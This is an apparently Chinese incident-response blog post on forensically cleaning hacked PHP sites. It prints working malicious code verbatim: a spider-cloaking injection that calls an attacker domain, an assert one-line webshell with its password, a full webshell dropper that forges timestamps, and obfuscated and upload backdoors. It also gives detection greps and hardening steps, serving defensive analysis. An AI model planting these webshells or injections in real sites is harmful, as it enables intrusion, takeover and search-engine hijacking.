blog.navy82.icu / index / 12 ↑ 返回索引
#12 2026-09-18 安全事件 / WebShell / 入侵取证 / 应急响应 阅读 –

网站被挂马取证与清除 · 蜘蛛劫持 + 仿冒名后门 + WebShell 投放器

挂马取证蜘蛛劫持后门 ×11源码包外泄已清除加固

站点首页 60 秒才返回,排查中发现根目录竟能下载到整站源码包。用 ss -tn state syn-sent 抓到 9 个 php-fpm 进程全部卡在同一个外部 IP,由此锁定蜘蛛劫持代码;进而挖出 3 个「仿冒名」后门(EmptyContssroller/claass/snowfall.jquery.php)、一句话木马、四层混淆后门(hex+ROT13 → eval(gzuncompress(base64_decode()))),以及 8 个带反取证设计的 WebShell 投放器 —— 用字符串拼接规避特征扫描、用 rand()+mktime() 伪造文件时间戳。

本案例目录

CHART 01 // 排查路径

from symptom to root cause
现象60.139s首页返回 200 但耗时整 60 秒,同池其他站 0.03s整数=连接超时
定位ss syn-sent9 个 php-fpm 进程全部卡在同一外部 IP锁定恶意外呼
取证grep全站搜 C2 域名 → 命中 src/Core/start.php 前 18 行蜘蛛劫持
对照diff与同框架干净站比对,精确划出注入边界 1~18 行?>\
扩线find+grep仿冒名 + 危险函数扫描 → 查出 11 个恶意文件牵连第二站
处置隔离+加固隔离取证 / 封堵 C2 / 上传目录禁跑 PHP60s → 0.12s

CHART 02 // 查获的恶意文件

11 malicious files
蜘蛛劫持18 行src/Core/start.php 头部注入,匹配爬虫 UA 拉取外部垃圾页本站点A
一句话木马289BEmptyContssroller.class.php · 密码 mowang · 自设 0444 只读仿冒名
大后门228KBclaass.phpmailer.php · 密码 888 · 四层混淆仿冒名
上传后门2.6KBsnowfall.jquery.php · 任意文件上传仿冒名
投放器 ×81182B随机名文件,可覆写首页 index.php,含反取证设计本站点B

CHART 03 // 攻击者的反检测手法

defense evasion techniques
多层混淆4 层hex + ROT13 → eval(gzuncompress(base64_decode(114KB)))绕扫描器
字符串拼接'file'.'_put_contents'源码中不存在完整危险函数名,grep 特征库直接漏掉绕关键词
伪时间戳rand(2012,2024)配合 mktime() 把 mtime 改成随机旧日期,破坏时间线分析绕溯源
仿冒名claass / Contssroller故意拼错一个字母,混在同类文件中绕肉眼
只读自锁chmod 0444木马/投放器把自己设只读,对抗清理绕删除
嫁接手改?><?php恶意代码插在文件最前,原始代码一行未动、功能正常绕巡检

服务器:[业务服务器](主机名已隐去)· 事件日期:2026-09-18 现象:站点首页 60 秒才返回、SEO 流量异常、根目录可下载到整站源码包 脱敏说明:主机名、服务器 IP、客户域名、云实例 ID 均已替换为占位符;恶意代码原样保留(已失效的攻击者基础设施仅作 IOC 标注)。

环境与系统信息

项目 信息
服务器 [业务服务器](阿里云 ECS,主机名已隐去)
规格 2 vCPU / 1.6 GB 内存
操作系统 CentOS Stream 9 · 内核 5.14.0
Web 服务 Apache 2.4.62(event MPM)
PHP 5.3 / 5.6 / 7.3 / 8.2(多版本并存,按站点绑定)
承载业务 9 个企业站点(PbootCMS 与自研 ThinkPHP 框架混合)
处置日期 2026-09-18

故障现象

运维侧反馈「[客户站点A] 打不开」。实测:

$ uptime
 11:11:05 up  2:29,  0 users,  load average: 0.05, 5.92, 30.44

$ curl -sk -o /dev/null -m 120 -w "%{http_code} %{time_total}s\n" https://[客户站点A]/
200 60.139024s

页面最终返回 200,但耗时整整 60.139 秒。 同一 PHP 池的其他站点响应 0.03 秒。

php-fpm 慢日志同时报出:

WARNING: [pool www] child 128254, script '/www/wwwroot/[客户站点A]/index.php'
         (request: "GET /index.php") executing too slow (36.639397 sec), logging

排查过程

① 用 ss 抓出「卡在哪个外呼地址」

服务器 60 秒的响应时间不是整数巧合 —— 这是 TCP 连接重传耗尽的典型时长。边发请求边看连接状态:

ss -tn state syn-sent

结果一眼定位:

Recv-Q Send-Q Local Address:Port        Peer Address:Port
0      1      [内网IP]:45964      →  [C2 IP]:80
0      1      [内网IP]:49368      →  [C2 IP]:80
0      1      [内网IP]:32798      →  [C2 IP]:80
0      1      [内网IP]:50816      →  [C2 IP]:80
0      1      [内网IP]:48536      →  [C2 IP]:80
...  (9 个 php-fpm worker 全部卡在同一个外部地址)

所有 PHP 进程都在尝试连接同一个外部 IP,且全部停留在 SYN-SENT(握手无响应)。 这直接指出:问题不在本地代码逻辑,而在代码里的外呼。

② 定位注入代码

全站搜索该外呼域名,命中唯一一处:

$ grep -rn "lunlian\|zyez-edu\|_httpGet_" /www/wwwroot/
/www/wwwroot/[客户站点A]/src/Core/start.php:2:function _httpGet_($url)
/www/wwwroot/[客户站点A]/src/Core/start.php:17:  echo _httpGet_("http://lunlian.zyez-edu.cn/yin/index.php");

该文件的前 18 行:

<?php
function _httpGet_($url)
{
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $output = curl_exec($ch);      // ← 没有设置任何超时
  curl_close($ch);
  return $output;
}

if (preg_match('@Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn@i', $_SERVER['HTTP_USER_AGENT'])) {
  echo _httpGet_("http://lunlian.zyez-edu.cn/yin/index.php");
}
?><?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
// ...

三点关键:

  1. 这是蜘蛛劫持(Cloaking):用正则匹配百度/搜狗/神马等搜索引擎蜘蛛的 UA,命中就去外部拉取内容输出。搜索引擎收录的是攻击者的垃圾页面,真人访问看到的却是正常站点(因为不匹配 UA 就跳过这段)。网站被当作黑帽 SEO 的跳板。

  2. _httpGet_() 没有设置 CURLOPT_TIMEOUT —— 目标服务器 lunlian.zyez-edu.cn(解析到 [C2 IP])已失效,TCP 握手无响应,curl 就会一直阻塞到系统级重传耗尽(约 60 秒)。这就是首页 60 秒的由来。

  3. 第 19 行 ?><?php 是衔接符:攻击者用 ?> 闭合自己的代码块,再用 <?php 重新打开原始文件的头部,从而把恶意代码「嫁接」在文件最前面,而后面的原始代码完全不受影响、功能正常 —— 这让注入极难被察觉。

③ 用「同框架干净站」做对照,精确定位注入边界

同一台服务器上有另一个站点使用同一套框架且未被感染,直接对比即可确认注入了多少行:

$ head -3 /www/wwwroot/[客户站点A]/src/Core/start.php
<?php
function _httpGet_($url)
{

$ head -3 /www/wwwroot/[客户站点B]/src/Core/start.php
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]

两者行数分别是 164 和 96。受害站的 1~18 行是后加的,净化时只需去掉这 18 行并在开头补回 <?php:

# 从原始备份重建(关键:必须基于备份,不能基于已改动的文件反复截取)
{ echo "<?php"; tail -n +20 /root/malware-forensics/start.php.infected; } > /tmp/start_fixed.php

# 逐字节验证:净化版第 2 行起 == 感染版第 20 行起
diff <(tail -n +2 /tmp/start_fixed.php) <(tail -n +20 /root/malware-forensics/start.php.infected) \
  && echo "✅ 完全一致,未动任何原始代码"

④ 全站扫描,发现更多后门

用文件名异常 + 危险函数特征做全量扫描:

# 危险函数特征
grep -rlnE "assert[[:space:]]*\([[:space:]]*\\\$_(POST|GET|REQUEST)|eval[[:space:]]*\([[:space:]]*\\\$_|create_function[[:space:]]*\([[:space:]]*\\\$" \
  /www/wwwroot --include="*.php" | grep -v "#runtime"

# 拼写仿冒的文件名(后门的典型特征)
find /www/wwwroot -name "*.php" | grep -iE "claass|contss|clas\.|shell|cmd\.php"

结果在受害站查出 3 个后门,且它们都是合法文件的「仿冒名」(故意拼错一个字母):

恶意文件 仿冒对象 创建时间
app/Home/Controller/EmptyContssroller.class.php EmptyController.class.php 2025-10-28 14:44
src/Util/PHPMailer/claass.phpmailer.php class.phpmailer.php 2025-10-28 14:43
addon/Snow/js/snowfall.jquery.php snowfall.jquery.js 2025-10-28 14:43

三个文件在同一分钟内被创建,是同一批植入。且原文件都还在,仿冒文件无任何代码引用 —— 可安全隔离。

⑤ 一句话木马:EmptyContssroller.class.php

文件全部内容只有一行:

<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);function set_writeable($file_name){if(@chmod($file_name,0444)){echo "OK";}else{echo "no";}}set_writeable($filename);?>

逐个拆解这段代码的手法:

$p = base64_decode("bW93YW5n");   // → "mowang",木马连接密码
$i['j'] = 'assert';                // 把函数名装进变量,规避字符串特征扫描
$a[] = $i;
@$a[0]['j']($_POST[$p]);           // 等价于 assert($_POST['mowang']) —— 可执行任意 PHP
                                   // 用「变量函数」而非直接写 assert(...),绕开关键词检测
function set_writeable($file_name){
    if(@chmod($file_name, 0444)) { echo "OK"; } else { echo "no"; }
}
set_writeable($filename);          // 把自己 chmod 0444(只读),对抗清理

注意最后一句:木马会把自己设成只读,运维删除时若不知道先 chmod 会直接失败。

⑥ 大型后门:claass.phpmailer.php(228 KB)

这个文件伪装成 PHPMailer 库(正版只有 84 KB),实际是多层混淆的后门。文件头部:

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING | E_DEPRECATED));
$mix="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";   // create_function
$password = "888";
$data="6576616p28677n756r636s6q707265737328…(下略,共 228548 字符)

$data 看似十六进制,但其中混入了 p n r s q 等字母 —— 这是十六进制字符经过 ROT13 变换的结果(a→n, c→p, d→q, e→r, f→s)。解一层即还原为真正的 hex:

$data  →  ROT13 还原  →  hex 解码  →  得到:
eval(gzuncompress(base64_decode("eJzs/dmO5NB6pQneF5DvoC4c4EhgAZwnCLowksZ5Ms7kjcB5nmcm8t2bkZISKnVWoxuVqOxCn+0RHubhNBq59...

完整解码链路是四层:

hex + ROT13  →  eval( gzuncompress( base64_decode( zlib 压缩的 PHP ) ) )

解出来是 114 KB 的 PHP 代码。这种多层嵌套的作用是:任何只做单层解码的扫描器、以及只做字符串匹配的 WAF,都看不到真实代码。

用脚本还原:

import re, codecs, binascii
src = open("claass.phpmailer.php", errors="ignore").read()
raw = re.search(r'\$data\s*=\s*"([0-9a-zA-Z]+)"', src).group(1)
blob = binascii.unhexlify(codecs.encode(raw, "rot13"))   # ROT13 + hex 解码
print(blob[:200].decode("utf-8", "replace"))             # → eval(gzuncompress(base64_decode(...

⑦ 上传后门:snowfall.jquery.php

<?php
    header("Content-Type:text/html; charset=gb2312");
    if(isset($_POST['submit']))
    {
        $upfiles = new Upload();
        $upfiles->upload_file();
    }
    class Upload
    {
        public $upload_name;        //上传文件名
        public $upload_tmp_name;    //上传时临时文件
        ...

放在 addon/Snow/js/ 目录里,紧挨着真正的 snowfall.jquery.js(2015 年的雪花特效脚本)。功能是任意文件上传 —— 攻击者后续可以往站内投放任意内容。

⑧ 第二个受害站:WebShell 投放器

扫描另一个站点时,发现 4 个随机命名的文件散落在不同目录:

apps/api/view/3vnri0b.php
core/function/bjkfgn.php
template/default/datetimepicker/kcwdwekz.php
template/default/fileinput/pyar0yn.php

内容完全相同(都是 1182 字节)。完整代码:

<?php

$payload = isset($_POST['data']) ? base64_decode($_POST['data']) : '';
$target = $_SERVER['DOCUMENT_ROOT'] . '/index.php';
$self = __FILE__;

$fn_write = 'file' . '_put_contents';
$fn_unlink = 'un' . 'link';
$fn_touch = 'tou' . 'ch';
$fn_chmod = 'ch' . 'mod';


$year = rand(2012, 2024);
$month = rand(1, 12);
$day = rand(1, 28);
$hour = rand(0, 23);
$minute = rand(0, 59);
$second = rand(0, 59);
$fake_time = mktime($hour, $minute, $second, $month, $day, $year);

if (!empty($payload) && strlen($payload) > 10) {
    $replaced = false;

    if (file_exists($target)) {

        @$fn_chmod($target, 0777);


        if (@$fn_unlink($target)) {
            @$fn_write($target, $payload);
            $replaced = true;
        } else {

            if (@$fn_write($target, $payload)) {
                $replaced = true;
            }
        }
    } else {

        if (@$fn_write($target, $payload)) {
            $replaced = true;
        }
    }

    if ($replaced) {
        @$fn_touch($target, $fake_time);
        @$fn_chmod($target, 0555);
    }
}

// 伪造自身时间
@$fn_touch($self, $fake_time);
@$fn_chmod($self, 0555);

@header('HTTP/1.1 200 No Content');
exit;

这段代码里有三处专门的反取证设计,值得逐一说明:

① 字符串拼接规避特征扫描

$fn_write = 'file' . '_put_contents';   // 而不是直接写 file_put_contents
$fn_unlink = 'un' . 'link';
$fn_touch  = 'tou' . 'ch';
$fn_chmod  = 'ch' . 'mod';

源代码里不存在 file_put_contents 这个完整字符串,靠 grep 特征库匹配的扫描方式会直接漏掉。

② 伪造文件时间戳规避时间线分析

$year = rand(2012, 2024);
...
$fake_time = mktime($hour, $minute, $second, $month, $day, $year);
...
@$fn_touch($self, $fake_time);   // 把自己的修改时间改成 2012~2024 年间随机一天

这正是我们首次排查时看到的假象 —— 文件 ls 出来显示「Sep 5 15:11」,看上去和站点迁移时间一致,实际是攻击者刻意伪装的。做入侵时间线分析时,不能用文件 mtime 作为依据。

③ 自身设只读,对抗清理

@$fn_chmod($self, 0555);   // 自己只读

功能上,它接收 POST data 参数(base64 编码),解码后覆写网站首页 DOCUMENT_ROOT/index.php,并用 @header('HTTP/1.1 200 No Content') 返回空响应 —— 访问时看不出任何异常,不留痕迹。

幸运的是,检查首页 md5 与正常站点完全一致,说明该投放器尚未被真正使用过。

⑨ 顺带发现的严重数据泄露

排查时发现 9 个站点的整站源码备份包,全部放在各自的网站根目录下,可被公网直接下载:

http://[客户站点B]/[客户站点B].zip          → HTTP 206(可下载)
http://[客户站点C]/[客户站点C].zip          → HTTP 206(可下载)
... 共 8 个包,合计 420 MB

验证响应头:

$ curl -sk -o /dev/null -r 0-500 -w "%{http_code} %{size_download}B\n" \
    "https://[客户站点C]/[客户站点C].zip"
206 501B        # 206 Partial Content —— 分片下载可用

包内包含 config/ 等目录,含数据库账号密码。这类「备份包放在 web 目录」是极其常见的高危配置错误 —— 攻击者无需任何漏洞,直接下载即可拿到全部源码与凭据。

处置

清除恶意代码

# 1. 隔离(不直接删除,保留取证)
mkdir -p /root/malware-forensics/
mv <恶意文件> /root/malware-forensics/

# 2. 拔除注入:从原始备份重建,diff 逐字节校验
{ echo "<?php"; tail -n +20 start.php.infected; } > start.php.fixed

# 3. 清除模板/框架缓存,避免旧编译产物残留
rm -f /www/wwwroot/<站点>/#runtime/Cache/Home/*.php

封堵 C2

# firewalld 永久封堵(注意 --permanent 必须在 --direct 之前,否则会被 --reload 冲掉)
firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 \
  -d [C2 IP] -j REJECT --reject-with icmp-port-unreachable
firewall-cmd --reload

封堵前后对比:连接从 10 秒超时降到 0.0002 秒被拒。

加固

# 1. 禁止上传目录执行 PHP —— 阻断 WebShell 最常用的落地路径
cat > .../extension/<域名>/deny_php_in_upload.conf <<'EOF'
<Directory "/www/wwwroot/<站点>/static/upload">
    <FilesMatch "(?i)\.(php|php[0-9]?|phtml|phar|pht|shtml|cgi|pl)$">
        SetHandler none
        Require all denied
    </FilesMatch>
</Directory>
EOF

# 2. 站点根目录权限收敛 777 → 755
chmod 755 /www/wwwroot/<站点>

# 3. PHP 危险函数加固
#    PHP 5.6:assert 是普通函数,可直接加入 disable_functions
sed -i "s/^disable_functions = /disable_functions = assert,create_function,/" php.ini
#    PHP 7+:assert 是语言结构,disable_functions 对它无效,必须用 zend.assertions
echo "zend.assertions = -1" >> /www/server/php/73/etc/php.ini

验证加固生效:

# 往上传目录放一个 php 文件
echo '<?php echo "EXECUTED"; ?>' > static/upload/__sec_test.php
curl -sk "https://[客户站点C]/static/upload/__sec_test.php"
# → 403 Forbidden   ✅ 已阻断

处置效果

指标 处置前 处置后
首页响应 60.14 秒 0.12 秒
PHP 卡死连接 15 条 SYN-SENT 0 条
恶意文件 11 个 0 个
可公网下载的源码包 8 个(420 MB) 0 个(返回 404)
上传目录 PHP 执行 允许 403 阻断

经验与预防

1. 先看连接状态,再看代码。

ss -tn state syn-sent 是入侵排查里性价比最高的一条命令。「响应时间卡在整数秒」+「多个进程卡在同一个外部 IP」,这两个信号一出现,基本可以直接锁定是代码里的恶意外呼。先定位行为,再去找代码,比直接翻几万个 PHP 文件快得多。

2. 蜘蛛劫持(Cloaking)是隐蔽性最高的一类挂马。

它只对搜索引擎 UA 生效,真人访问完全正常 —— 站长自己天天看网站也不会发现。判断依据是:直接访问正常,但搜索引擎快照/收录标题与站点内容不符。建议定期用爬虫 UA 对比访问:

curl -s -A "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/s?spider.html)" https://<站点>/ | head
curl -s https://<站点>/ | head
# 两者内容应当一致

3. 注入的常见形态是「嫁接」,不是覆盖。

本例中 ?><?php 这个衔接符很典型 —— 攻击者把代码插在文件最前面,原始文件内容一行未动,功能完全正常。所以「网站功能正常」不能作为「没被入侵」的依据。

4. 文件时间戳不可信。

投放器里有 rand(2012,2024) + mktime() 伪造 mtime 的代码。排查时不能只看「最近修改的文件」,要结合文件是否被引用、命名是否仿冒、内容特征综合判断。

5. 仿冒名(Typosquatting)是后门的强特征。

claass(多一个 a)、Contssroller(多一个 s)—— 这类文件名在正常项目里不会出现。建议把「与同类目录下已知文件高度相似但拼写不同」作为一条独立检测规则。

6. 混淆层级越深,越要警惕。

hex + ROT13 → eval(gzuncompress(base64_decode(...))) 这种四层嵌套没有任何正常业务理由。见到 eval 与解码函数组合,一律按恶意处理。

7. 备份包绝不能放在网站根目录。

这是本次事件里风险最高的一项 —— 不需要任何漏洞,任何人下载一个 zip 就拿到了整站源码和数据库口令。备份应存放在 web 根目录之外,或直接传到异地/对象存储。

8. 只读属性是后门的最后一道防线。

一句话木马会 chmod 0444 自身,投放器会 chmod 0555。清理前先确认文件属性:

lsattr <文件>              # 查看 chattr 属性(immutable 需要先 chattr -i)
chmod 644 <文件> 2>/dev/null || chattr -i <文件>

9. 清除完成后必须回答一个问题:入口是什么?

本次处置清除了全部恶意文件、封堵了 C2、做了加固,但入侵入口未能确认。从文件时间戳看至少可回溯到 2025-10-28。只要入口还在,就可能被再次植入 —— 因此把 PHP 升级(5.6 已于 2018 年停止维护、7.3 于 2021 年停止维护)与 CMS 升级列为后续必办事项。